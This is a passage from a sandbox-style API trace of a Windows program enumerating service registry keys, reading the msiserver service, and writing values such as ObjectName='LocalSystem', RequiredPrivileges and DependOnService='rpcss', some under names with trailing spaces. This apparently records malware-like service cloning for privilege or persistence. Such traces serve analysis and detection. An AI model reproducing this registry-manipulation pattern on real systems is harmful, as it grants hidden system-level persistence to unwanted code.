dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0234.784] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0234.784] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0234.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0234.784] RegCloseKey (hKey=0x150) returned 0x0 [0234.785] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0234.785] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0234.785] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0234.785] RegCloseKey (hKey=0x80000002) returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0234.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0234.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0234.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0234.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0234.786] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0234.786] RegCloseKey (hKey=0xc4) returned 0x0 [0234.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0234.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0234.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0234.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0234.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0234.786] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0234.786] RegCloseKey (hKey=0x150) returned 0x0 [0234.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0234.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0234.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0234.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0234.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0234.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0234.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0234.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0234.787] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0234.787] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.787] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.787] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.787] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.787] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.787] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.788] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.788] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.788] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.788] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.788] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.788] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.788] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.788] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.788] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.788] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0234.788] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0234.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0234.789] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0234.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.789] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.790] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.790] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.790] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.790] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0234.790] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0234.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0234.790] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0234.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0234.790] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.790] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.790] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.790] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.790] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.790] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.791] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.791] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.791] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.791] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.791] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.791] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.791] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.791] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.791] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.791] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0234.791] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0234.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0234.791] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0234.792] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.792] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.792] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0234.840] RegEnumValueA (in: 